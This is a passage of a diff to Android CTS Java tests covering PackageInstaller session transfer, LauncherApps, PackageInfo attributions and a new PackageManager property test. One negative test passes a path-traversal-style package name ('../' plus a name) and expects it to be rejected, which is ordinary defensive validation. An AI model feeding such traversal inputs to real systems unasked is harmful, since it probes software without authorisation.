                 }
             }
+        }
 
-            danglingReadStream.close();
-        });
+        danglingReadStream.close();
     }
 
     @Test
     public void transferToInvalidNewOwner() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            writeApk(session, "CtsContentTestCases");
+        Session session = createSession();
+        writeApk(session, "CtsContentTestCases");
 
-            try {
-                // This will fail as the name of the new owner is invalid
-                session.transfer("android.content.cts.invalid.package");
-                fail();
-            } catch (PackageManager.NameNotFoundException e) {
-                // Expected
-            }
-        });
+        try {
+            // This will fail as the name of the new owner is invalid
+            session.transfer("android.content.cts.invalid.package");
+            fail();
+        } catch (PackageManager.NameNotFoundException e) {
+            // Expected
+        }
+
+        session.abandon();
     }
 
     @Test
     public void transferToOwnerWithoutInstallPermission() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            writeApk(session, "CtsContentTestCases");
+        Session session = createSession();
+        writeApk(session, "CtsContentTestCases");
 
-            try {
-                // This will fail as the current package does not own the install-packages
-                // permission
-                session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
-                        .getPackageName());
-                fail();
-            } catch (SecurityException e) {
-                // Expected
-            }
-        });
+        try {
+            // This will fail as the current package does not own the install-packages permission
+            session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
+                    .getPackageName());
+            fail();
+        } catch (SecurityException e) {
+            // Expected
+        }
+
+        session.abandon();
     }
 
     @Test
     public void transferWithOpenWrite() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            String packageInstallerPackage = getPackageInstallerPackageName();
-            assumeNotNull(packageInstallerPackage);
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
 
-            session.openWrite("danglingWriteStream", 0, 1);
-            try {
-                // This will fail as the danglingWriteStream is still open
-                session.transfer(packageInstallerPackage);
-                fail();
-            } catch (SecurityException e) {
-                // Expected
-            }
-        });
+        session.openWrite("danglingWriteStream", 0, 1);
+
+        // This will fail as the danglingWriteStream is still open
+        assertThrows(instanceOf(IllegalStateException.class,
+                hasMessageThat(containsString("Package is not valid"))),
+                () -> session.transfer(packageInstallerPackage));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toNullPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+                () -> session.transfer(null));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toEmptyStringPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+                () -> session.transfer(""));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toInvalidPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(PackageManager.NameNotFoundException.class, notNullValue()),
+                () -> session.transfer("../" + packageInstallerPackage));
+
+        session.abandon();
     }
 
     @Test
     public void transferSessionWithInvalidApk() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            String packageInstallerPackage = getPackageInstallerPackageName();
-            assumeNotNull(packageInstallerPackage);
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
 
-            try (OutputStream out = session.openWrite("invalid", 0, 2)) {
-                out.write(new byte[]{23, 42});
-                out.flush();
-            }
+        try (OutputStream out = session.openWrite("invalid", 0, 2)) {
+            out.write(new byte[]{23, 42});
+            out.flush();
+        }
 
-            try {
-                // This will fail as the content of 'invalid' is not a valid APK
-                session.transfer(packageInstallerPackage);
-                fail();
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-        });
+        // This will pass even the content of 'invalid' is not a valid APK
+        session.transfer(packageInstallerPackage);
+
+        // The session transfers successfully. And then, it doesn't belong to the this test.
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("Session does not belong to uid"))),
+                () -> session.abandon());
     }
 
     @Test
     public void transferWithApkFromWrongPackage() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            String packageInstallerPackage = getPackageInstallerPackageName();
-            assumeNotNull(packageInstallerPackage);
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
 
-            writeApk(session, "CtsContentEmptyTestApp");
+        writeApk(session, "CtsContentLongPackageNameTestApp");
 
-            try {
-                // This will fail as the session contains the a apk from the wrong package
-                session.transfer(packageInstallerPackage);
-                fail();
-            } catch (SecurityException e) {
-                // expected
-            }
-        });
-    }
+        // This will pass even package name is too long
+        session.transfer(packageInstallerPackage);
 
-    private void openAndCloseSession(FunctionalUtils.ThrowingBiConsumer<Integer, Session> block)
-            throws IOException {
-        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
-        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
-
-        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
-        int sessionId = installer.createSession(params);
-        try {
-            block.accept(sessionId, installer.openSession(sessionId));
-        } finally {
-            try {
-                installer.abandonSession(sessionId);
-            } catch (SecurityException ignored) {
-            }
-        }
+        // The session transfers successfully. And then, it doesn't belong to the this test.
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("Session does not belong to uid"))),
+                () -> session.abandon());
     }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 9635216..ee65a15 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -16,23 +16,31 @@
 
 package android.content.pm.cts;
 
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.getDefaultLauncher;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.app.Instrumentation;
 import android.app.PendingIntent;
 import android.app.usage.UsageStatsManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.LauncherActivityInfo;
 import android.content.pm.LauncherApps;
 import android.content.pm.PackageManager;
 import android.os.Process;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
@@ -42,21 +50,18 @@
 import org.junit.runner.RunWith;
 
 import java.time.Duration;
-import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 /** Some tests in this class are ignored until b/126946674 is fixed. */
 @RunWith(AndroidJUnit4.class)
 public class LauncherAppsTest {
 
     private Context mContext;
+    private Instrumentation mInstrumentation;
     private LauncherApps mLauncherApps;
     private UsageStatsManager mUsageStatsManager;
-    private ComponentName mDefaultHome;
-    private ComponentName mTestHome;
+    private String mDefaultHome;
+    private String mTestHome = PACKAGE_NAME;
 
     private static final String PACKAGE_NAME = "android.content.cts";
     private static final String FULL_CLASS_NAME = "android.content.pm.cts.LauncherMockActivity";
@@ -77,13 +82,21 @@
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mLauncherApps = (LauncherApps) mContext.getSystemService(Context.LAUNCHER_APPS_SERVICE);
         mUsageStatsManager = (UsageStatsManager) mContext.getSystemService(
                 Context.USAGE_STATS_SERVICE);
 
-        mDefaultHome = mContext.getPackageManager().getHomeActivities(new ArrayList<>());
-        mTestHome = new ComponentName(PACKAGE_NAME, FULL_CLASS_NAME);
-        setHomeActivity(mTestHome);
+        mDefaultHome = getDefaultLauncher(mInstrumentation);
+        setDefaultLauncher(mInstrumentation, mTestHome);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        unregisterObserver(DEFAULT_OBSERVER_ID);
+        if (mDefaultHome != null) {
+            setDefaultLauncher(mInstrumentation, mDefaultHome);
+        }
     }
 
     @Test
@@ -209,12 +222,15 @@
         assertFalse(mLauncherApps.isActivityEnabled(FULL_DISABLED_COMPONENT_NAME, USER_HANDLE));
     }
 
-    @After
-    public void tearDown() throws Exception {
-        unregisterObserver(DEFAULT_OBSERVER_ID);
-        if (mDefaultHome != null) {
-            setHomeActivity(mDefaultHome);
-        }
+    @Test
+    @AppModeFull(reason = "Need special permission")
+    public void testGetActivityInfo() {
+        LauncherActivityInfo info = mLauncherApps.resolveActivity(
+                new Intent().setComponent(FULL_COMPONENT_NAME), USER_HANDLE);
+        assertNotNull(info);
+        assertNotNull(info.getActivityInfo());
+        assertEquals(info.getName(), info.getActivityInfo().name);
+        assertEquals(info.getComponentName().getPackageName(), info.getActivityInfo().packageName);
     }
 
     private void registerDefaultObserver() {
@@ -226,16 +242,11 @@
         SystemUtil.runWithShellPermissionIdentity(() ->
                 mUsageStatsManager.registerAppUsageLimitObserver(
                         observerId, SETTINGS_PACKAGE_GROUP, timeLimit, timeUsed,
-                        PendingIntent.getActivity(mContext, -1, new Intent(), 0)));
+                        PendingIntent.getActivity(mContext, -1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED)));
     }
 
     private void unregisterObserver(int observerId) {
         SystemUtil.runWithShellPermissionIdentity(() ->
                 mUsageStatsManager.unregisterAppUsageLimitObserver(observerId));
     }
-
-    private void setHomeActivity(ComponentName component) throws Exception {
-        SystemUtil.runShellCommand("cmd package set-home-activity --user "
-                + USER_HANDLE.getIdentifier() + " " + component.flattenToString());
-    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
index 7a524c4..facc981 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertArrayEquals;
 
 import android.content.pm.ApplicationInfo;
+import android.content.pm.Attribution;
 import android.content.pm.ComponentInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.PackageInfo;
@@ -46,8 +47,8 @@
                 | PackageManager.GET_GIDS | PackageManager.GET_CONFIGURATIONS
                 | PackageManager.GET_INSTRUMENTATION | PackageManager.GET_PERMISSIONS
                 | PackageManager.GET_PROVIDERS | PackageManager.GET_RECEIVERS
-                | PackageManager.GET_SERVICES | PackageManager.GET_SIGNATURES
-                | PackageManager.GET_UNINSTALLED_PACKAGES);
+                | PackageManager.GET_SERVICES | PackageManager.GET_ATTRIBUTIONS
+                | PackageManager.GET_SIGNATURES | PackageManager.GET_UNINSTALLED_PACKAGES);
     }
 
     public void testPackageInfoOp() {
@@ -100,6 +101,7 @@
         assertTrue(Arrays.equals(expected.requestedPermissions, actual.requestedPermissions));
         checkSignatureInfo(expected.signatures, actual.signatures);
         checkConfigInfo(expected.configPreferences, actual.configPreferences);
+        checkAttributionInfo(expected.attributions, actual.attributions);
     }
 
     private void checkAppInfo(ApplicationInfo expected, ApplicationInfo actual) {
@@ -163,4 +165,19 @@
             assertEquals(0, actual.length);
         }
     }
+
+    private void checkAttributionInfo(Attribution[] expected, Attribution[] actual) {
+        if (expected != null && expected.length > 0) {
+            assertNotNull(actual);
+            assertEquals(expected.length, actual.length);
+            for (int i = 0; i < expected.length; i++) {
+                assertEquals(actual[i].getTag(), expected[i].getTag());
+                assertEquals(actual[i].getTag(), expected[i].getTag());
+            }
+        } else if (expected == null) {
+            assertNull(actual);
+        } else {
+            assertEquals(0, actual.length);
+        }
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
new file mode 100644
index 0000000..8123ffe
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
@@ -0,0 +1,480 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static java.lang.Boolean.TRUE;
+
+import android.Manifest;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Objects;
+
+@RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
+public class PackageManagerGetPropertyTest {
+    private static PackageManager sPackageManager;
+    private static final String PROPERTY_APP1_PACKAGE_NAME = "com.android.cts.packagepropertyapp1";
+    private static final String PROPERTY_APP2_PACKAGE_NAME = "com.android.cts.packagepropertyapp2";
+    private static final String PROPERTY_APP3_PACKAGE_NAME = "com.android.cts.packagepropertyapp3";
+    private static final TestApp PROPERTY_APP1 =
+            new TestApp("PackagePropertyTestApp1", PROPERTY_APP1_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp1.apk");
+    private static final TestApp PROPERTY_APP2 =
+            new TestApp("PackagePropertyTestApp2", PROPERTY_APP2_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp2.apk");
+    private static final TestApp PROPERTY_APP3 =
+            new TestApp("PackagePropertyTestApp3", PROPERTY_APP3_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp3.apk");
+
+    private static void adoptShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+    }
+
+    private static void dropShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @BeforeClass
+    public static void setupClass() throws Exception {
+        sPackageManager = InstrumentationRegistry
+                .getInstrumentation()
+                .getContext()
+                .getPackageManager();
+    }
+
+    @Before
+    public void setup() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Install.single(PROPERTY_APP1).commit();
+        Install.single(PROPERTY_APP2).commit();
+        dropShellPermissions();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP3_PACKAGE_NAME);
+        dropShellPermissions();
+    }
+
+    @Test
+    public void testGetApplicationProperty() throws Exception {
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_RESOURCE_XML", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_RESOURCE_XML", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_RESOURCE_INTEGER", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_RESOURCE_INTEGER", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_RESOURCE, 0x7f040000);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_BOOLEAN", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_BOOLEAN", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_BOOLEAN, TRUE);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_BOOLEAN_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_BOOLEAN_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_BOOLEAN, TRUE);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_FLOAT", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_FLOAT", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_FLOAT, 3.14f);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_FLOAT_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_FLOAT_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_FLOAT, 2.718f);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_INTEGER", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_INTEGER", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_INTEGER, 42);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_INTEGER_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_INTEGER_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_STRING, "koala");
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_STRING, "giraffe");
+        }
+    }
+
+    @Test
+    public void testGetComponentProperty() throws Exception {
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_ACTIVITY", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_ACTIVITY", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_STRING, "koala activity");
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_ACTIVITY_ALIAS", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_ACTIVITY_ALIAS", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_COMPONENT", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_COMPONENT", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_PROVIDER", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_PROVIDER", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_RECEIVER", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_RECEIVER", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_STRING, "koala receiver");
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_SERVICE", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_SERVICE", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_COMPONENT", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_COMPONENT", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_RESOURCE, 0x7f040000);
+        }
+    }
+
+    @Test
+    public void testInvalidArguments() throws Exception {
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(null, "");
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList = sPackageManager.getProperty("", (String) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(null, (String) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName("", "");
+            final Property testPropertyList = sPackageManager.getProperty(null, component);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList =
+                    sPackageManager.getProperty("", (ComponentName) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList =
+                    sPackageManager.getProperty(null, (ComponentName) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @Test
+    public void testMissingNames() throws Exception {
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_COMPONENT", "com.android.cts.doesnotexist");
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", PROPERTY_APP1_PACKAGE_NAME);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName("com.android.cts.doesnotexist",
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.NotFound");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testPackageRemoval() throws Exception {
+        adoptShellPermissions();
+        Install.single(PROPERTY_APP3).commit();
+        dropShellPermissions();
+
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", PROPERTY_APP3_PACKAGE_NAME);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP3_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        dropShellPermissions();
+
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", PROPERTY_APP3_PACKAGE_NAME);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP3_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+    }
+
+    private static final int PROPERTY_TYPE_BOOLEAN = 1;
+    private static final int PROPERTY_TYPE_FLOAT = 2;
+    private static final int PROPERTY_TYPE_INTEGER = 3;
+    private static final int PROPERTY_TYPE_RESOURCE = 4;
+    private static final int PROPERTY_TYPE_STRING = 5;
+    private void assertProperty(Property testProperty, String propertyName,
+            String packageName, String className, int propertyType, Object propertyValue)
+                    throws Exception {
+        assertNotNull(testProperty);
+        assertEquals(propertyName, testProperty.getName());
+        assertEquals(packageName, testProperty.getPackageName());
+        assertTrue(Objects.equals(className, testProperty.getClassName()));
+        assertEquals(propertyType, testProperty.getType());
+
+        if (propertyType == PROPERTY_TYPE_BOOLEAN) {
+            assertTrue(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Boolean boolValue = (Boolean) propertyValue;
+            if (boolValue.booleanValue()) {
+                assertTrue(testProperty.getBoolean());
+            } else {
+                assertFalse(testProperty.getBoolean());
+            }
+            // assert the other values have an appropriate default
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_FLOAT) {
+            assertFalse(testProperty.isBoolean());
+            assertTrue(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Float floatValue = (Float) propertyValue;
+            assertEquals(floatValue.floatValue(), testProperty.getFloat(), 0.0f);
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_INTEGER) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertTrue(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer integerValue = (Integer) propertyValue;
+            assertEquals(integerValue.intValue(), testProperty.getInteger());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
